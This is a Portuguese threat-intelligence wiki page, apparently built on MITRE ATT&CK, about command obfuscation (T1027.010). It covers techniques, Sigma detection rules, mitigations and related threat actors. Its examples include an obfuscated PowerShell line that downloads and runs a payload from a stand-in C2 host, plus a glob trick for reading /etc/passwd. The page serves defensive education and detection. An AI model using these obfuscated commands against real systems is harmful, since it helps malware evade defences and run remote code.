# T1027.010 - Command Obfuscation
## Técnica Pai
Esta é uma sub-técnica de [[t1027-obfuscated-files|T1027 - T1027 - Obfuscated Files or Information]].
## Descrição
**Command Obfuscation** (T1027.010) é a técnica de embaralhar ou codificar comandos e scripts executados em um sistema para dificultar a análise por ferramentas de segurança, regras de detecção baseadas em assinatura e analistas humanos. O adversário mantém a funcionalidade maliciosa intacta enquanto altera a forma textual do comando a ponto de torná-lo irreconhecível para antivírus, EDR e SIEMs que dependem de padrões estáticos. A técnica afeta principalmente interpretadores de script como PowerShell, cmd.exe, bash e Python, mas também é aplicada a binários compilados que geram comandos dinâmicamente.
Os métodos de ofuscação são variados e frequentemente combinados: codificação Base64 (`powershell -enc SGVsbG8=`), concatenação de strings (`"Wor"+"d.Application"`), uso de variáveis de ambiente e caracteres de escape (`p^o^w^e^r^s^h^e^l^l`), inversão de strings com `rev` no bash, globs do shell (`/???/c?t /etc/pa??wd`), e directory traversals para mascarar o binário invocado. Ferramentas automatizadas como `Invoke-Obfuscation` e `Invoke-DOSfuscation` permitem gerar variantes ofuscadas de payloads PowerShell em segundos, com dezenas de combinações possíveis que dificultam a criação de assinaturas estáticas eficazes. A técnica é especialmente eficaz contra defensores que dependem exclusivamente de YARA rules ou detecção por string matching.
**Contexto Brasil/LATAM:** Command Obfuscation é onipresente em campanhas de malware que afetam o Brasil. O [[g0050-apt32|APT32 (OceanLotus)]] - ativo na região - é documentado pelo uso extensivo de scripts PowerShell e VBScript obfuscados em campanhas de espionagem contra alvos governamentais e corporativos brasileiros. Grupos de ransomware operando no Brasil, como afiliados do [[g1051-medusa-ransomware|Medusa]], utilizam loaders JavaScript e PowerShell com codificação multicamada (Base64 dentro de XOR dentro de Base64) para entregar payloads sem detecção por antivírus. Campanhas de [[t1566-phishing|phishing]] direcionadas a bancos brasileiros frequentemente distribuem droppers .js ou .vbs com ofuscação pesada, explorando a baixa taxa de detecção inicial em gateways de e-mail. O CERT.br documenta este padrão como um dos vetores mais consistentes em notificações de incidentes reportados.
## Attack Flow
```mermaid
graph TB
A["T1566<br/>Phishing<br/>(Entrega do Payload)"] --> B["T1059<br/>Command & Scripting<br/>Interpreter"]
B --> C["T1027.010<br/>Command Obfuscation<br/>(Evasão de Defesas)"]:::highlight
C --> D["T1105<br/>Ingress Tool Transfer<br/>(Download Payload)"]
C --> E["T1055<br/>Process Injection<br/>(Execução Furtiva)"]
D --> F["T1486<br/>Data Encrypted<br/>ou Exfiltração"]
classDef highlight fill:#e74c3c,color:#fff
```
## Como Funciona
**1. Preparação**
O adversário parte de um comando ou script funcional (ex: um stager PowerShell que baixa e executa um payload de um C2) e aplica uma ou mais camadas de ofuscação usando ferramentas automatizadas ou manualmente. A escolha da técnica depende do ambiente-alvo: PowerShell com Base64 é eficaz contra regras simples de antivírus, enquanto character substitution e environment variable substitution são mais resistentes a análise estática avançada. Grupos como [[g0094-kimsuky|Kimsuky]] e [[g0050-apt32|APT32]] constroem bibliotecas de variantes ofuscadas e rotacionam entre elas para evitar que uma regra detecte todas as campanhas.
Exemplos concretos de ofuscação aplicados em incidentes reais:
```powershell
# Ofuscação Base64 - clássica, detectável por muitos EDRs
powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...
# Character substitution e concatenação - mais evasiva
p`o`w`e`r`s`h`e`l`l -c "I`E`X(Ne`w-O`bje`ct Net.We`bC`lient).Dow`nloa`dStr`ing('http://c2.bad/payload')"
# Directory traversal para mascarar binário
C:\win\sys\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c ...
```
**2. Execução**
O comando ofuscado é entregue ao sistema via [[t1566-phishing|phishing]] (anexo malicioso, macro Office), [[t1189-drive-by-compromise|drive-by compromise]] ou [[t1059-command-and-scripting-interpreter|script interpreter]] já instalado. O interpretador (PowerShell, cmd, bash) decodifica e executa o payload em memória - frequentemente sem gravar nada em disco. Ferramentas como [[s0363-empire|Empire]] e [[s0154-cobalt-strike|Cobalt Strike]] geram stagers ofuscados automaticamente para cada operação. A execução em memória (`-enc` no PowerShell, `eval` no Python/JS, `exec` no bash) é especialmente difícil de detectar por antivírus tradicionais que analisam apenas arquivos em disco.
**3. Pós-execução**
Após a execução bem-sucedida do payload inicial, o adversário frequentemente continua usando ofuscação nas fases subsequentes: comandos de reconhecimento (`w`h`o`a`m`i`), transferência de ferramentas e execução de módulos adicionais. O [[s0589-sibot|Sibot]] e [[s0126-comrat|ComRAT]] são exemplos de malware que persistem com scripts ofuscados no registro do Windows ou em locais não convencionais. A detecção retroativa via logging de ScriptBlock (PowerShell) é a principal forma de identificar execuções ofuscadas mesmo após o incidente.
## Detecção
**Event IDs e fontes de log relevantes:**
| Event ID | Fonte | Descrição |
|----------|-------|-----------|
| `4104` | PowerShell/Operational | **ScriptBlock Logging** - registra o conteúdo deobfuscado do script antes da execução. O log mais valioso para detectar ofuscação PowerShell. Deve ser habilitado em todos os sistemas. |
| `4103` | PowerShell/Operational | Module Logging - registra chamadas de módulo e parâmetros; captura invocações de `Invoke-Expression` e similares |
| `400` | Windows PowerShell | Início de engine PowerShell - registra versão e host usado; monitorar versão 2.0 (sem logging ScriptBlock) como indicador de downgrade attack |
| `4688` | Security | Criação de processo - monitorar `cmd.exe` e `powershell.exe` com argumentos codificados em Base64 (`-enc`, `-e`, `-encodedcommand`) |
| `1` | Sysmon | Process Creaté - captura linha de comando completa incluindo argumentos ofuscados; essencial para correlação |
**Sigma Rule - PowerShell Encoded Command (Base64 Obfuscation):**
```yaml
title: PowerShell Encoded Command Execution
id: e3f5a7b9-c3d5-7e9f-1a3b-c5d7e9f1a3b5
status: stable
description: Detecta execução de PowerShell com argumento de comando codificado em Base64 - padrão clássico de ofuscação
author: RunkIntel
daté: 2026-03-24
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- ' -e '
- ' -en '
- ' -enc '
- ' -enco'
- ' -encodedcommand'
condition: selection
falsepositives:
- Scripts de automação legítimos que usam encoded commands (documentar e excluir por hash)
- Ferramentas de gestão como SCCM/Intune em determinadas configurações
level: medium
tags:
- attack.defense_evasion
- attack.t1027.010
- attack.t1059.001
```
**Sigma Rule - Detecção de Ofuscação por Character Substitution (cmd.exe):**
```yaml
title: CMD Command Obfuscation via Carets and Special Characters
id: f4a6b8c0-d4e6-8f0a-2b4c-d6e8f0a2b4c6
status: experimental
description: Detecta tentativas de ofuscação no cmd.exe via uso excessivo de caracteres especiais (^, %, +) em argumentos de linha de comando
author: RunkIntel
daté: 2026-03-24
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\cmd.exe'
CommandLine|re: '([a-zA-Z]\^){3,}'
condition: selection
falsepositives:
- Muito baixo - caracteres ^ são raramente usados em comandos legítimos de forma repetida
level: high
tags:
- attack.defense_evasion
- attack.t1027.010
```
> **Dica de detecção:** Habilitar **PowerShell ScriptBlock Logging** (EventID 4104) é a medida mais impactante para detectar Command Obfuscation em ambientes Windows. Configure via GPO: `Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging`. O log registra o conteúdo DEOBFUSCADO - ou sejá, mesmo que o payload estejá em 10 camadas de Base64, o EventID 4104 vai mostrar o código real. Envie estes logs para o SIEM com prioridade máxima.
## Mitigação
| ID | Mitigação | Implementação Prática para Organizações Brasileiras |
|----|-----------|-----------------------------------------------------|
| M1040 | [[m1040-behavior-prevention-on-endpoint\|M1040 - Behavior Prevention on Endpoint]] | Configurar EDR (CrowdStrike, Defender for Endpoint, SentinelOne) com regras de prevenção comportamental para execuções ofuscadas de PowerShell e cmd.exe. Habilitar AMSI (Antimalware Scan Interface) - examina scripts PowerShell antes da execução e deofusca o conteúdo antes de varrer. Configurar Constrained Language Mode no PowerShell para restringir operações de alto risco. |
| M1049 | [[Antimalware]] | Manter antivírus com heurística comportamental habilitada - engines modernas detectam padrões de ofuscação mesmo sem assinatura específica. Soluções com integração AMSI são mais eficazes. Em ambientes brasileiros, a combinação Microsoft Defender (nativo + gratuito) + EDR de terceiro é a abordagem custo-efetiva mais documentada. Configurar varredura de scripts em tempo real. |
| Logging avançado | - | Habilitar ScriptBlock Logging (EventID 4104), Module Logging (4103) e PowerShell Transcription em todos os sistemas Windows. Centralizar via SIEM. Esta configuração - ausente em grande parte das organizações brasileiras - é o controle mais eficaz e de menor custo para detectar ofuscação pós-execução em análise forense e hunting. |
| AppLocker / WDAC | M1038 | Restringir execução de scripts PowerShell, VBScript e JScript a paths autorizados usando AppLocker ou Windows Defender Application Control. Bloquear `powershell.exe -enc` via regras de linha de comando. Reduz drasticamente superfície de ataque em ambientes que não precisam de scripting livre por usuários finais. |
## Threat Actors
| Ator | Contexto |
|------|----------|
| [[g0143-aquatic-panda\|Aquatic Panda]] | Grupo chinês (APT41 nexus) que usa scripts PowerShell e Python ofuscados como stagers para carregar frameworks como [[s0154-cobalt-strike\|Cobalt Strike]] em campanhas de espionagem e intrusões em telecomúnicações. |
| [[g0034-sandworm\|Sandworm Team]] | Grupo russo (GRU) responsável por ataques destrutivos como NotPetya; usa ofuscação em scripts de wiper e em payloads de implantação para sobreviver a análise inicial por antivírus corporativos. |
| [[g1001-hexane\|HEXANE]] | APT iraniana focada em energia e telecomúnicações no Oriente Médio que utiliza VBScript e PowerShell com ofuscação multicamada para entrega de RATs e ferramentas de espionagem. |
| [[g0077-leafminer\|Leafminer]] | Grupo de ciberespionagem iraniano que combina [[t1566-phishing\|phishing]] com scripts PowerShell altamente ofuscados para comprometer organizações governamentais e de energia. |
| [[g0080-cobalt-group\|Cobalt Group]] | Grupo financeiramente motivado especializado em ataques a bancos; usa ofuscação em macros Office e scripts PowerShell para distribuir Cobalt Strike Beacons em ataques a instituições financeiras, incluindo no Brasil. |
| [[g0094-kimsuky\|Kimsuky]] | APT norte-coreana que cria implantes de espionagem com múltiplas camadas de ofuscação em VBScript, PowerShell e AutoIt para campanhas de coleta de inteligência de longa duração. |
| [[g1051-medusa-ransomware\|Medusa Group]] | Operação de ransomware que utiliza loaders JavaScript e PowerShell com ofuscação para bypassar gateways de e-mail e antivírus em ataques a empresas brasileiras documentados em 2024. |
| [[g0117-fox-kitten\|Fox Kitten]] | APT iraniana que combina exploração de VPNs com payloads ofuscados em PowerShell para manter persistência em redes de infraestrutura crítica sem detecção prolongada. |
| [[g0037-fin6\|FIN6]] | Grupo financeiramente motivado especializado em roubo de dados de pagamento; usa [[s0363-empire\|Empire]] com ofuscação para mover lateralmente em redes de varejo sem acionar alertas de antivírus. |
| [[g0050-apt32\|APT32]] | Grupo vietnamita (OceanLotus) com histórico documentado de campanhas contra alvos brasileiros e LATAM, usando macros Office com payloads PowerShell obfuscados para espionagem corporativa e governamental. |
## Software Associado
| Software | Tipo | Contexto |
|----------|------|----------|
| [[s1085-sardonic\|Sardonic]] | Malware | Backdoor do FIN8 que usa ofuscação em seu loader PowerShell para evitar detecção inicial durante comprometimento de alvos de varejo e hospitalidade. |
| [[s0428-poetrat\|PoetRAT]] | Malware | RAT Python que aplica ofuscação em seus scripts de implantação e comandos C2 para operar em ambientes com monitoramento básico de rede. |
| [[loudminer\|LoudMiner]] | Malware | Cryptominer que usa ofuscação de scripts de inicialização para persistir em sistemas macOS e Windows sem detecção por varreduras rotineiras. |
| [[s0363-empire\|Empire]] | Framework ofensivo | Framework de pós-exploração PowerShell/Python com módulo de ofuscação integrado (`Invoke-Obfuscation`); amplamente usado por grupos de pentest e adversários para gerar variantes polimórficas de stagers. |
| [[s1022-iceapple\|IceApple]] | Malware | Framework de pós-exploração voltado a ambientes IIS que usa ofuscação de código .NET in-memory para persistência furtiva em servidores web comprometidos. |
| [[s0685-powerpunch\|PowerPunch]] | Malware | Downloader PowerShell com ofuscação multicamada usado como stager por grupos APT para baixar e executar implantes de segunda fase sem detecção por antivírus. |
| [[badhatch\|BADHATCH]] | Malware | Backdoor do FIN8 com capacidade de executar comandos ofuscados em PowerShell e persistir via WMI subscriptions, documentado em ataques a sistemas de POS. |
| [[s0354-denis\|Denis]] | Malware | Backdoor multiplataforma que usa ofuscação de DNS e comandos codificados para comunicação C2 furtiva, dificultando análise de tráfego de rede. |
| [[s0589-sibot\|Sibot]] | Malware | Downloader de segundo estágio em VBScript com ofuscação pesada, usado pelo APT29 no contexto do [[solarwinds-supply-chain-attack\|SolarWinds]] para baixar implantes adicionais de forma furtiva. |
| [[s0126-comrat\|ComRAT]] | Malware | Backdoor sofisticado do Turla que usa ofuscação em seu código de configuração e comúnicações C2, persistindo em sistemas-alvo por meses sem detecção em campanhas de espionagem de longa duração. |
---
*Fonte: [MITRE ATT&CK - T1027.010](https://attack.mitre.org/techniques/T1027/010)*